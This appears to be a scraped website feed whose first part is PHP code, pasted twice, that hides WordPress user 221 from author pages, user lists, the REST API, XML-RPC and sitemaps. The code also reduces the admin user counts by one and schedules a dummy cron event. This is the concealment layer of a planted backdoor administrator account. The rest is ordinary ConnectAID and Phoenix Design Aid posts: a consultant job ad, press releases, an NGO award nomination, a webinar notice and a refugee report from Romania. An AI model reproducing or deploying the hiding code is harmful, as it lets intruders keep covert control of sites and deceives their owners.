add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 221;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 221;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 221;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 221;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 221;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 221;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 221;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 221;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 221;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 221;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Position Title: Social Media and Communications Consultant (Pool)
Organizational Unit: Phoenix Design Aid
Location: Remote
Reporting to: Director of External Relations, Phoenix Design Aid
Contract Type: Individual Contractor
Duration: Consultancy (per project basis)
Application Deadline: January 2d 2025
Are you passionate about using social media to drive meaningful impact? Do you thrive on content writing, strategic communication, and delivering impactful campaigns? Are you motivated to bring your skills to projects dedicated to advancing the Sustainable Development Goals (SDGs)? If so, we have the perfect international consultancy opportunity for you.
Organizational Background
Phoenix Design Aid (PDAid) is a first-class communication and design agency which specializes in collaborating with international and intergovernmental organizations, including the United Nations and the European Union, as well as NGOs and public authorities. Our mission is to provide 360° visionary solutions to complex communication and design challenges, supporting the achievement of the Sustainable Development Goals.
Our subsidiaries are located in Randers, Copenhagen, Nairobi, Panama City, and Valencia, with representation offices in Ankara, Beirut, Kyiv, Geneva, and Quito. Our clients are globally based and share a commitment to fostering a sustainable world. We collaborate on initiatives addressing urgent issues, including climate and environmental crises, combating gender-based violence, and responding to health emergencies, among other SDGs.
To meet the growing demands in social media and communications, PDAid is establishing a pool of consultants with expertise in social media strategy, paid advertising, storytelling, content writing, community building, and campaign management. This pool will enable us to offer flexible, high-quality support across projects, ensuring that our services remain aligned with UN standards and Phoenix Design Aid’s values.
Find out more about Phoenix Design Aid
Objective
This TOR aims to recruit qualified consultants with strong expertise in social media management, content creation, storytelling, and campaign execution to join Phoenix Design Aid’s Social Media and Communications Pool. Selected consultants will support PDAid’s client initiatives on an as-needed basis, ensuring effective rollout of impactful communication campaigns for a diverse range of clients.
Scope of work
Consultants in this pool will support PDAid’s communication initiatives by implementing and optimizing social media and communication strategies, including but not limited to:
Examples of key deliverables (dependent on project)
Competencies and level of proficiency required
Core values attributes:
Core competencies in communication
Functional competencies (required):
Qualifications
Application process
Interested candidates are requested to submit:
Please submit applications to cv@phoenixdesignaid.com between 12 November 2024– 2 January 2025
After the initial selection phase based on CV and cover letter/budget expectations, Phoenix Design Aid will conduct a 2-hour online test end of January 2025. Only candidates who pass the test will proceed to an interview. Consultants will be working from home and are responsible for handling their own tax obligations in their respective countries.
Contract modality
This TOR may be updated based on evolving project requirements and strategic priorities.
Consultants who join the pool will be engaged on a project basis, with rates set according to experience and project scope. Those who contribute to tendering processes and content development of such tenders will be prioritized.
]]>Phoenix Design Aid, a global communication agency specializing in serving the United Nations, the European Union, and NGOs, has long been a leader in delivering cutting-edge communication services. With expertise in strategic messaging, graphic design, multimedia production, AI solutions, and event management, PDAid has a track record of helping organizations enhance their visibility and impact through innovative communication solutions. As part of this partnership, ConnectAID’s communication services will now be provided by PDAid, ensuring that the organizations we support benefit from a broader range of tools and resources.
This partnership also includes a new leadership role for Gaëlle Mogli, Founder and CEO of ConnectAID, who will be joining Phoenix Design Aid as Director of External Relations. With over 20 years of experience in the humanitarian sector, Gaëlle will be leading strategic outreach, fostering new partnerships, and working closely with PDAid’s team to ensure that both organizations continue to serve the global humanitarian community with excellence.
“Partnering with Phoenix Design Aid and its Foundation is an incredible opportunity to scale the impact of both organizations,” said Gaëlle Mogli. “By combining our strengths, we can offer even more comprehensive communication services to NGOs, UN agencies, and other international organizations. Together, we will continue to drive awareness and action for the SDGs, with a stronger focus on innovation and strategic communications.”
Through this partnership, ConnectAID and Phoenix Design Aid are committed to supporting the humanitarian sector by offering tailored communication solutions that address the unique challenges faced by international organizations. We look forward to deepening our impact and continuing to empower nonprofits, NGOs, and UN agencies around the world.
]]>ConnectAID proudly nominates The Big Wild and its NECO project for the 2023 AGFUND Prince Talal Prize for Human Development, 3rd category award.
More about the project:
A Pioneer’s Journey:
Founded in the USA in early 2021, The Big Wild, under the leadership of Alayna Van Dervort, has swiftly become a trailblazer in utilizing technology for the greater good. The organization’s commitment to meaningful impact is evident in its innovative initiatives aimed at tackling pressing environmental issues.
Introducing NECO – Wetland Builders App:
One standout project from The Big Wild’s repertoire is the NECO project, a Wetland Builders app that is redefining the way we approach Agricultural farming, food scarcity, sustainable water usage & environmental conservation. This groundbreaking initiative caught our attention at ConnectAID due to its comprehensive approach, blending AI technologies, real-time geospatial data integration, and active community involvement.
NECO is designed to address several critical needs and issues. It tackles the pressing concern of climate change by harnessing wetlands’ natural carbon sequestration capabilities. It also addresses the need for enhanced food production, water & biodiversity conservation and sustainable agriculture practices.
NECO is designed to address several critical needs and issues. It tackles the pressing concern of climate change by harnessing wetlands’ natural carbon sequestration capabilities. It also addresses the need for enhanced biodiversity conservation and sustainable agriculture practices.
NECO aims to empower landowners, particularly in the global south, with tools and knowledge to create wetlands, thereby contributing to water purification, biodiversity support, and improved soil health. Additionally, the project addresses the demand for accessible and comprehensive guidance in wetland construction, enabling individuals, supporting women and communities to engage in climate-positive actions and sustainable land management.
Overall, NECO is a multifaceted solution addressing environmental, agricultural, gender equality and educational needs while fostering climate resilience and positive ecological impact.
Unlocking Potential in Africa:
ConnectAID, having forged a longstanding partnership with The Big Wild, sees immense promise in the NECO project, particularly in the context of empowering communities in Africa. As AI continues to reshape global landscapes, ensuring that African nations are integral to this transformative journey is paramount.
The NECO project addresses critical environmental challenges, from climate change to biodiversity conservation and sustainable land management. Focusing on wetland construction, the initiative contributes not only to carbon sequestration but also supports water purification, soil health enhancement, and biodiversity protection.
Inclusivity and Empowerment:
What sets The Big Wild apart is its unwavering dedication to gender equality and inclusivity in both the tech and environmental sectors. With a female founder and a diverse team comprising women engineers, marketing developers, and content creators, the organization is championing diversity and setting a benchmark for the industry.

Aligned with Sustainable Development Goals (SDGs):
The NECO project seamlessly aligns with the United Nations’ Sustainable Development Goals, notably Goal 15: Life on Land. By actively contributing to land restoration, biodiversity conservation, and sustainable agriculture, NECO stands as a testament to the power of innovation in driving positive change.
Join the Movement:
ConnectAID extends an invitation to stakeholders, partners, and supporters to join us in amplifying the impact of The Big Wild’s NECO project. Together, we can foster a future where technology serves as a catalyst for positive change in every corner of the world.
For more information about the Big Wild: https://thebigwild.com/
]]>Founded by the young girl Jaira Chin seven years ago, The Blue House Project, one of ConnectAID’s NGO Members sponsored by Peonia, has been a sanctuary for Gypsy children living in the desert camps of Pushkar. These children, often overlooked by society, face unimaginable challenges. Living conditions are harsh, with rats being a constant presence, and access to education is limited. The Blue House has been a safe place for many children at the camp, offering not just a place to rest, play and learn, but also a chance at a better future.
Accompanying us on this transformative journey was Nakshatra Prem, our SDG Youth Ambassador. At just nine years old, Nakshatra embodies the spirit of youth activism and empowerment. Her presence added a touch of inspiration to our mission as she shared a chapter from her book on sustainable development with the children. Nakshatra’s passion and dedication to creating positive change through education left an indelible mark on all of us.
Our journey in India was not just about providing immediate relief but also about creating sustainable change. We distributed essential school supplies and clothing, brightening the lives of these incredible children. Moreover, we’ve committed to supporting their education, breaking the cycle of poverty, and giving them the tools they need to build brighter futures.
ConnectAID believes that real change happens when individuals, nonprofits, families, and communities come together to uplift one another. The journey in Pushkar exemplified our commitment to this belief. We are proud to stand by our Member The Blue House Project and the Gypsy children of Pushkar, and we are determined to continue making a positive impact in their lives.
Our journey in Pushkar may have been a chapter, but the story of change and hope continues. Together, with partners like The Blue House and inspiring youth like Nakshatra Prem, we are creating a brighter and more equitable world for some of the poorest children of our planet.
Join us on this remarkable journey, and together, we’ll keep making dreams come true in places like Pushkar and beyond.
]]>Together with her husband Steve Tolan, Anna established Chipembele in 1998, armed with nothing but their boundless passion and determination to educate children and communities living near the South Luangwa National Park. Their transition from police officers to conservationists was a significant change, but Anna’s love for Africa and the pressing threats to its wildlife and habitats propelled them forward.
Anna’s work at Chipembele has been nothing short of extraordinary. She has spearheaded pupil sponsorship schemes for orphaned and vulnerable children, ensuring they receive an education that they might not have otherwise been able to afford. Moreover, she has managed numerous school improvement projects, focusing on enhancing educational facilities and opportunities for the local youth.
At the core of Anna’s mission is the conservation education outreach program she established at 28 local schools. Through this program, children are inspired to consider careers in the world of conservation and are taught about the immense value in preserving wildlife. Anna’s dedication to nurturing the passion and commitment of the youth in her conservation programs serves as a constant source of inspiration and energy for her.
Beyond education, Anna leads by example. Chipembele also takes in orphaned animals, providing them with care and rehabilitation until they are ready to be released back into the wild. Anna’s devotion to these animals is such that she and her husband have not been able to go away together for the past decade, as one of them always stays behind to care for the animals. This sacrifice exemplifies their deep commitment to the well-being of wildlife.
For Anna, education is the key to securing the future of wildlife in Africa. She envisions a world where people and wildlife can coexist harmoniously, despite the challenges of population growth and development. By educating communities about the value and benefits of wildlife conservation and providing practical solutions to conflicts, Anna believes that a harmonious relationship between humans and wildlife can be achieved.

Anna’s story is one of passion, resilience, and unwavering determination. Her tireless efforts to educate children and communities about the importance of wildlife conservation have undoubtedly made a lasting impact. Through Chipembele Wildlife Education Trust, she has brought hope to countless children, inspired future conservationists, and contributed significantly to the achievement of Sustainable Development Goal 13: Life on Land.
Anna Tolan’s career is a testament to the transformative power of education and the indomitable human spirit. ConnectAID is proud of its NGO Member Chipembele and witnessed first hand its impact during our latest field mission to Zambia. As we admire Anna Tolan’s dedication and accomplishments, we can all be inspired to take action in our own lives to protect and preserve our precious natural world. Together, we can ensure a future where wildlife thrives, and humans live in harmony with nature.
More info about our field mission to Zambia
For more information about ConnectAID’s nonprofit Member Chipembele Wild Life Education Trust: www.chipembele.org/
]]>Empowering Climate Resilience and Sustainable Development
ConnectAID believes that collective efforts and innovative solutions are essential in achieving the Sustainable Development Goals (SDGs). WGIC’s GeoAction Africa project embodies this ethos by harnessing the potential of geospatial innovation to tackle climate change and promote sustainable development in the African continent. By leveraging cutting-edge technology, this project seeks to drive positive change, enhance climate resilience, and foster inclusive growth throughout Africa.
The GeoAction Africa Survey: Your Voice for Climate Action
We invite individuals from diverse backgrounds, including experts, practitioners, policymakers, and local communities in Africa, to participate in the survey. Your insights and perspectives are invaluable in shaping effective strategies and actionable plans that will drive positive change in Africa. This survey addresses a range of thematic areas related to geospatial technology and its applications in climate change mitigation, sustainable agriculture, urban planning, disaster management, public health, and more. By sharing your expertise, experiences, and ideas, you contribute to a comprehensive understanding of the current landscape, identify challenges, and highlight opportunities for collaboration and innovation.
Solidarity in Action: Recognizing WGIC’s Climate Action Prize
ConnectAID proudly supports organizations like WGIC that exemplify solidarity and dedication to creating sustainable solutions. WGIC’s remarkable work and innovative approach were acknowledged through the AGFUND climate action prize. This recognition highlights their significant contributions and inspires others to join the movement towards climate resilience and sustainable development in Africa.
Take the First Step: Make a Difference in Climate Action
Join us in taking the first step towards a climate-resilient and sustainable future for Africa. By participating in the GeoAction Africa Survey, you actively contribute to the creation of innovative and sustainable solutions. Your input shapes the direction of geospatial innovation, fosters collaboration, and empowers communities to effectively address climate challenges.
Click here to participate in the Survey and be a catalyst for positive change in the lives of communities across Africa.
Together, let’s harness the power of geospatial innovation to build climate resilience and shape a sustainable future.
About ConnectAID and WGIC
ConnectAID is a global network dedicated to promoting solidarity, driving SDG action, and connecting organizations and individuals for sustainable development. In collaboration with exceptional nonprofit members like our Member WGIC, we support impactful projects and foster collaborations to address global challenges.
For media inquiries and further information, please contact: Info@connectaid.org

ConnectAID, established in 2018, was founded by Gaelle Mogli after her extensive experience of over 15 years in the United Nations, including her role as Spokesperson. With a deep understanding of the pressing challenges faced by communities worldwide, Gaelle was inspired to create ConnectAID as a platform to unite and amplify the efforts of nonprofit organizations working towards sustainable development.
This esteemed Global CEO Excellence Award hosted by CEO Monthly recognizes not only Gaelle’s extraordinary achievements but also the invaluable contributions of ConnectAID’s nonprofit and foundation partners. Through collaboration with partners such as WGIC, ISS, FXBIS, AGFUND and many others, ConnectAID has been able to leverage international grants for ConnectAID’s Members, but also expertise, and networks to maximize the impact of their initiatives.
ConnectAID’s vision is to make international solidarity a norm, fostering a sense of collective responsibility and driving increased impact towards achieving the United Nations’ Sustainable Development Goals (SDGs). By connecting nonprofit organization and SDG actors together, ConnectAID strives to create a global community dedicated to making a tangible difference in the lives of vulnerable populations.
Gaelle Mogli expressed her gratitude for the recognition, stating, “I am truly honored to receive the title of Humanitarian Impact CEO of the Year 2023. This award is a testament to the remarkable work of the ConnectAID team and our collaborative partners. Together, we are committed to transforming lives and creating a more sustainable and equitable world.”
ConnectAID continues to expand its network and partnerships, working tirelessly to address critical global challenges and empower communities worldwide. This award reinforces the organization’s dedication to achieving the SDGs and serves as an inspiration to strive for even greater impact in the future.
For media inquiries or further information, please contact: info@connectaid.org
About ConnectAID:
ConnectAID, founded in 2018 by Gaelle Mogli, is a global network of networks that connects organizations, foundations, and volunteers to empower communities and drive sustainable development. By fostering collaboration and providing its members with the tools to communicate, ConnectAID aims to make international solidarity a norm and maximize the impact of initiatives addressing the Sustainable Development Goals (SDGs).
]]>Did you know that there is approximately three million grants, representing more than $180 billion in funding each year?
We’re excited to share our expertise with you, giving you an insider’s view into the world of grant writing.
What You’ll Learn:
– Tips and tricks from seasoned grant writer.
– Strategies to increase your chances of securing grants.
– Insights from a treasure trove of data representing billions in funding.
Save the Date: Thursday November 28 2023
Time: 6:00 am PST, 9:00 am EDT, 3:00 pm CET
Location: Zoom online meeting
Join our Expert Jennifer Barrack for this empowering webinar moderated by Gaelle Mogli and Peter McLaughlin, and discover the grants that align perfectly with your mission.
Let’s turn your vision into funded, impactful reality together!
]]>
Romania, April 2022 – We are all shocked and speechless about the war in Ukraine. Thanks to our courageous ConnectAID colleague Ekaterina, we are informed first-hand about the Ukrainian refugees who made it to Romania. Katya has been volunteering with ConnectAID International Solidarity Network for the past year. Of Russian origin, she describes the situation as follows: “This conflict drives me crazy; when you see this all with your proper eyes, it hurts a lot and you can’t stay just watching it…” Therefore she went to the Ukrainian border, Isaccea more specifically, just to help. Here is her report.
“Like so many, I was horrified as I watched the events of the last few weeks unfold” continues our Community Advocate, “I was pleased to have had an opportunity to be deployed at the port town of Isaccea in Romania and provide humanitarian assistance in cooperation with local communities. I saw with my own eyes swift action from many individuals and organizations doing what they can to solve the humanitarian crisis. Anyone can help too.”
As of today, over 4.3 million Ukrainian children have been displaced by war in the country, including over 1.8 million children have gone to other countries to find safety in neighbouring countries (UNICEF). Overall, 6.5 million people have become displaced inside the country and find themselves living on the streets or in camps. Stating the numbers from UNHCR of March 17th, for those leaving the country, the distribution of refugees in the neighbouring countries is as follows: Poland (1,916,445), Slovakia (228,844), Hungary (282,611), Romania (491,409), Moldova (350,886) and Russia (168,858).
In Romania, refugees can enter via four main border points: Halmeu/Dyakovo, Sighetu Marmației/Solotvino, Siret/Porubne, and Isaccea/Orlivka.
According to the local migration services, around 800 Ukrainian refugees arrive every day by barge via the Danube river. People who made it to Romanian ground via this route are suffering greatly from hypothermia. They carry their belongings, their children are pushing trolleys, and they often have older relatives with them.
One of the migration control representatives, Local Services, stated that the situation now is much more structured than it was three weeks ago. Back then, approximately 1100 migrants arrived daily, completely traumatized. “These days, the welcome and distribution of migrants is much more organized and with the established process makes everything smoother. This is also thanks to more offers of assistance from aid organizations” said one of their representatives.
Migrants are met by international humanitarian organizations and local social communities. They are then brought to information points, located in a warm tent. Here, people receive a broad range of information. They are supported in questions regarding asylum procedures, legal advice, psychological support, and translation services. While warming up under heaters, adults and children receive food, water, clothes, some basic sanitation items, as well as support to safely continue their journey. Once refugees are on the shuttle lists they wait for the next outbound bus. Upfront, supporters divided the people up by their desired final destination. Buses and shuttles arrive every two hours to take Ukrainians to Bucharest and Constanza (Romania), or to Varna (Bulgaria).
Arriving at those locations, Ukrainians are free to continue their travel free of charge by trains to reach their final destination where friends and relatives welcome them. Those who do not have friends and relatives in the area can stay in shelters provided by local authorities until they find permanent accommodation.
“The current crisis demands immediate and coordinated action and support from international institutions and international communities. I was deeply touched to see the humanitarian mobilisation on the borders of Ukrainian neighbouring countries” said ConnectAID’s Field Reporter.
One beautiful Ukrainian couple Natalya and Dmitry and their two little children, who arrived in Romania from Mykolaiv city, shared their thoughts with our reporter: “We have no relatives in Europe, but we have to leave Ukraine because we can’t accept what is happening in our homeland, we are worried for our little ones”.After their first night in Isaccea, they decided to go to the Bulgarian sea capital Varna, where a large number of refugees keep arriving every night on the international train Bucharest-Ruse-Varna. While there are many people from across the world who have come to these border posts to provide support, many more are supporting from abroad, welcoming refugees into their communities, organizing donations of both money and materials, and engaging in online activities to support Ukraine.
One of the many ways to help is to follow this link to ConnectAID’s International Solidarity Network providing direct donations to vetted international NGOs on the ground: our Members Migration Consortium and the International Social Service (ISS) and their team in bordering countries are on the frontline to ensure that children and their families are being protected.
Ukrainian children need our support. NGOs on the front line need our support.
]]>